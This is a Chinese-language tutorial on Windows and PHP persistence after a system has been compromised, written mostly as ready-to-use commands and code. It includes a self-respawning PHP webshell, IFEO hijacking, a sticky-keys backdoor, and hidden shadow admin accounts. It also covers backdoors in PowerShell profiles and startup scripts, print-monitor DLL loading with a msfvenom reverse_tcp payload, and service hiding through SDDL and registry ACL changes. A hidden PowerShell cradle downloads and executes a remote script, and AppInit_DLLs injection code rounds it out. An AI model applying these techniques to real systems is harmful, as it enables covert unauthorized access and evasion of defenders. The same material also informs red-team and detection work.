PHP不死马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php ignore_user_abort(); set_time_limit(0); $interval = 5; do { $filename = 'test.php'; if(file_exists($filename)) { echo "xxx"; } else { $file = fopen("test.php", "w"); $txt = "<?php phpinfo();?>\n"; fwrite($file, $txt); fclose($file); } sleep($interval); } while (true); ?>
|
映像劫持
windows系统运行每个程序时,都会在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options中查找相应的程序,如果存在,那么就会进一步查找是否存在Debugger值,并会在程序运行时优先运行Debugger项所指定的程序。
注册表
1 2
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
|
新建项,命名与后续要触发的可执行文件程序文件名一致,我这里是manyanj.exe
新建一个Debugger,在输入值的栏目中填入你的后门绝对路径

点击manyanj.exe就会运行指定文件
策略组脚本维持
输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机

组策略 (Group Policy) 里“计算机启动脚本” 的存放位置
1
| C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
|
在里面写入脚本1.bat
1
| net user dis 123456 /add & net localgroup administrators dis /add
|
添加脚本

重启后会自动执行
shift后门
更改sethc.exe拥有者 为administrator

接着 cmd改名替换 sethc.exe
1 2
| move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
|

连续按5次shift就会触发更改的文件
影子账号
在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的。
通过管理用户可查到用户

打开注册表
HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
查看administrator对应的键值为1f4和隐藏账户xiaowu$的键值为3eb
然后在Users中找到对应数字的F值,将3eb的F值替换为1f4的F值
将00003eb和xiaowu$按顺序导出为1.reg和2.reg
然后命令行中删除隐藏用户
按顺序点击刚才导出的reg文件,重新导入
重新添加到管理员组
1
| net localgroup administrators xiaowu$ /add
|
此时命令行和本地用户组都查不到xiaowu$这个账户,只有注册表可以看到,我们就可以用这个影子账户进行远程登录

powershell配置文件后门
Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所以可以通过向该文件写入自定义的语句用来长期维持权限。
依次输入以下命令,查看当前是否存在配置文件。
1 2 3 4
| echo $profile //显示 $profile 变量的内容(也就是当前 PowerShell 会话所使用的用户配置文件的完整路径) Test-path $profile //检查上面那个文件路径是否存在。返回 True(存在)或 False(不存在)
|

如果返回false则需要创建一个
1
| New-Item -Path $profile -Type File –Force
|

然后写入命令,这里以创建一个用户为目标,也可以写成反弹shell
1.bat
1
| net user dis 123456 /add & net localgroup administrators dis /add
|
这里的C:\1.bat是后门文件位置,实战情况下,各位需要按照实际文件路径来修改
1 2 3
| $string = 'Start-Process "C:\1.bat"' $string | Out-File -FilePath $profile -Append more $profile
|

每次启动powershell都会执行命令创建用户

Monitor 权限维持
项目地址 https://github.com/Al1ex/Monitor
下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include "Windows.h" int main() { MONITOR_INFO_2 monitorInfo; TCHAR env[12] = TEXT("Windows x64"); TCHAR name[12] = TEXT("Monitor"); TCHAR dll[12] = TEXT("test.dll"); monitorInfo.pName = name; monitorInfo.pEnvironment = env; monitorInfo.pDLLName = dll; AddMonitor(NULL, 2, (LPBYTE)&monitorInfo); return 0; }
|
pName //监视器名称
pEnvironment //环境架构
pDLLName //监视器DLL文件的名称
使用
msf生成payload
1 2
| msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll
|
将shell.dll复制到目标主机的system32目录下,之后重命名为test.dll(也就是上面的 PDLLName,你也可以自己修改为自己喜欢的,总之随意)
1
| copy C:\temp\shell.dll C:\Windows\System32\test.dll
|
之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32 目录下):

之后成功接收到Meterpreter会话

持久化实现
为了实现持久性,我们需要在”Monitors”注册表位置下设置一个key:
1
| HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
|
之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表 验证密钥是否已创建:
1 2
| reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
|

下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32 中的所有驱动程序DLL文件
安全描述符隐藏服务后门
原理:
使用sc或powershell来出创建自启动服务,再通过修改SDDL(安全描述符)隐藏服务,
最后利用powershell脚本来修改注册表项的访问权限,从而实现真正的隐藏。
通过注册服务创建后门
cmd创建自启动服务
1 2
| sc create "自定义服务名" binpath= "cmd.exe /k 后门位置" depend= Tcpip obj= Localsystem start= auto
|
powershell创建自启动服务
1 2 3
| new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName 3.5.0.0" –BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe StartupType AutomaticDelayedStart
|
但创建的服务很容易被发现 通过 sc query 和 Get-Service 很容易发现,直接查询服务也能看见

通过修改SDDL(安全描述符)隐藏服务
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。
安全描述符可以包含以下安全信息:
- 对象的所有者和主要组的 Sid(安全标识符)
- 用于指定允许或拒绝特定用户或组的访问权限的 DACL
- 指定为对象生成审核记录的访问尝试类型的 SACL
- 一组限制安全描述符或其各个成员的含义的控制位。
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其 SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:
1
| sc sdset ".NET CLR Networking 3.6.6.6" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
|
在知道服务名的前提下查询会显示拒绝访问

但这样做有一个问题:在注册表中很容易看到异常value
1
| HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking 3.5.0.0
|

修改注册表ACL
可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| function Server-Sddl-Change{ [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$Name ) $ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\" $S = $ROOT+$NAME $acl = Get-Acl $S $acl.SetAccessRuleProtection($true, $false) $person = [System.Security.Principal.NTAccount]"Everyone" $access = [System.Security.AccessControl.RegistryRights]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Deny" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) $person = [System.Security.Principal.NTAccount]"Everyone" $access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang ePermissions,TakeOwnership" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) Set-Acl $S $acl }
|
远程加载powershell脚本:
1 2 3
| powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.1.12/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.6.6.6'"
|

windows隐藏技术
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和 隐藏文件属性。
1
| Attrib +s +a +h +r 1.php
|
显示隐藏

驱动级文件隐藏
驱动隐藏最典型的现象就是系统盘中存在以下文件:
1 2 3 4
| c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini c:\WINDOWS\system32\drivers\xlkfs.sys
|
隐藏驱动软件
http://www.xoslab.com/efl.html
T1546.010
Windows 操作系统中有一个注册表项叫 AppInit_DLLs
利用
攻击者修改注册表,将 LoadAppInit_DLLs 的值设置为 1。
在 AppInit_DLLs 中填入恶意 DLL(动态链接库)的路径。
效果
当计算机重启后,任何加载 user32.dll 的进程(几乎所有有图形界面的程序都会加载它),都会强制加载攻击者指定的这个恶意 DLL。
DLL代码编写条件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| #include "pch.h" #include "tchar.h"
#define DEF_DST_PROC "ctfmon.exe"
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { TCHAR szCmd[MAX_PATH] = { 0, }; TCHAR szPath[MAX_PATH] = { 0, }; TCHAR *p = NULL; STARTUPINFO si = { 0, }; PROCESS_INFORMATION pi = { 0, };
si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE;
switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: if (!GetModuleFileName(NULL, szPath, MAX_PATH)) break;
if ((p = _tcsstr(szPath, DEF_DST_PROC)) != NULL) { MessageBox(NULL, L"P151_Dll_Inject", L"Success", MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2);
} break;
case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
操作注册表
使用命令行修改注册表容易被杀软拦截
编写了一个 C++ 程序(编译成 .exe)。当这个程序运行时,它直接在内存中调用系统的底层函数去修改注册表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| #include <windows.h> #include <tchar.h> #include <stdio.h>
int main() { HKEY hKey; TCHAR szDllPath[MAX_PATH] = _T("C:\\Users\\Public\\Test.dll"); DWORD dwData = 1;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"), 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) { if (RegSetValueEx(hKey, _T("AppInit_DLLs"), 0, REG_SZ, (const BYTE*)szDllPath, (_tcslen(szDllPath) + 1) * sizeof(TCHAR)) == ERROR_SUCCESS) { _tprintf(_T("成功设置 AppInit_DLLs 路径\n")); }
if (RegSetValueEx(hKey, _T("LoadAppInit_DLLs"), 0, REG_DWORD, (const BYTE*)&dwData, sizeof(dwData)) == ERROR_SUCCESS) { _tprintf(_T("成功开启 LoadAppInit_DLLs 开关\n")); } RegCloseKey(hKey); } else { _tprintf(_T("打开注册表失败,可能需要管理员权限\n")); }
return 0; }
|
武器化
RDI+bdllspawn反射加载
参考链接
映像劫持
https://blog.csdn.net/whl0071/article/details/130427821
https://blog.csdn.net/qq_55202378/article/details/140895624?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-140895624-blog-130427821.235
影子账号
https://blog.csdn.net/baidu_38844729/article/details/115708745
SDDL
https://mp.weixin.qq.com/s/zAQOfdbxtDNLha2fdSjWyw
https://blog.csdn.net/nicai321/article/details/122424652